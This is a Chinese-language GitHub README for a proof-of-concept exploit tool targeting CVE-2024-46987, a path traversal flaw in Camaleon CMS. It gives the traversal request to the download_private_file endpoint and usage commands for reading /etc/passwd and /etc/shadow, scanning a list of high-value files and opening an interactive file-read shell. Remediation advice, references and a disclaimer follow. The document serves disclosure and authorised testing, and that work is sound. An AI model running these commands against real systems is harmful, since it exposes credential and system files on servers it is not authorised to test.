BLUEBERRYP1LL/CVE-2024-46987
GitHub: BLUEBERRYP1LL/CVE-2024-46987
CVE-2024-46987 漏洞的概念验证工具,用于利用 Camaleon CMS 的路径遍历漏洞实现任意文件读取。
Stars: 0 | Forks: 0
# CVE-2024-46987 — Camaleon CMS 任意路径遍历
## 概述
| 字段 | 详情 |
|-------------|--------|
| **CVE** | CVE-2024-46987 |
| **产品** | Camaleon CMS |
| **版本**| >= 2.8.0, < 2.8.2 (亦在 2.9.0 上确认) |
| **类型** | 路径遍历 / 任意文件读取 (CWE-22) |
| **鉴权** | 需要 (任意低权限账户) |
| **CVSS** | 7.7 高危 — `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` |
| **修复于**| 2.8.2 |
## 漏洞详情
`MediaController#download_private_file` 将未经处理的 `params[:file]` 传递给 `fetch_file`:
```
# Vulnerable sink
fetch_file("private/#{params[:file]}")
```
在将该值用于 `send_file` 之前未应用路径规范化,允许通过认证的攻击者利用 `../` 序列跳出 `private/` 目录,并读取 Rails 进程有权访问的任意文件。
**易受攻击的端点:**
```
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
```
## 环境要求
- Python 3.8+
- `requests` 库
```
pip3 install requests
```
## 使用方法
```
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
```
### 基于凭据的认证
```
# 读取 /etc/passwd (默认)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# 读取特定文件
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# 自动扫描高价值路径列表
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# 交互式文件读取 shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
```
### 复用现有会话 (来自 Burp Suite / 浏览器开发者工具)
```
# 单个文件
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# 交互式 shell
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
```
### 选项
| 标志 | 描述 |
|------|-------------|
| `-u` | 目标基础 URL |
| `-U` / `-P` | CMS 用户名和密码 |
| `--cookie` | 原始 Cookie 字符串 (替代凭据) |
| `-f` | 要读取的文件路径 (默认: `/etc/passwd`) |
| `-d` | 遍历深度 —— 预置的 `../` 数量 (默认: `10`) |
| `--interesting` | 遍历内置的高价值路径列表 |
| `--interactive` | 交互式文件读取 Shell |
| `--no-verify` | 禁用 TLS 证书验证 |
| `--debug` | 输出详细日志以诊断认证失败 |
## 关于 `/proc` 伪文件的说明
`/proc/self/` 下的文件 (例如 `environ`, `cmdline`) 会返回 HTTP 200 但正文为空。这是预期行为 —— 内核将其大小报告为 0,因此 Rails 的 `send_file` 不会流式传输任何内容。请改用常规的平面文件。
## 修复建议
将 Camaleon CMS 升级至 **2.8.2 或更高版本**。该补丁添加了适当的路径规范化,并确保在调用 `send_file` 之前解析后的路径仍位于预期目录内。
或者:
- 在使用前规范化所有用户提供的文件路径。
- 拒绝任何包含 `..` 序列的输入。
- 对运行 Rails 进程的操作系统用户应用最小权限原则。
## 参考资料
- [GHSA-cp65-5m9r-vc2c](https://github.com/advisories/GHSA-cp65-5m9r-vc2c) — GitHub 安全公告
- [GHSL-2024-183](https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/) — GitHub 安全实验室
- [NVD — CVE-2024-46987](https://nvd.nist.gov/vuln/detail/CVE-2024-46987)
## 免责声明
此概念验证仅用于教育目的,并协助安全专业人员在授权的测试环境中理解和复现该漏洞。作者不对任何误用行为负责。在对非自有系统进行测试之前,请务必获得明确的书面许可。
标签:Camaleon CMS, CMS 漏洞, CVE-2024-46987, CWE-22, Exploit, Maven, PoC, Python, Ruby on Rails, Web 安全, 任意文件读取, 内存转储, 无后门, 暴力破解, 漏洞验证, 网络安全审计, 认证后漏洞, 路径遍历, 逆向工具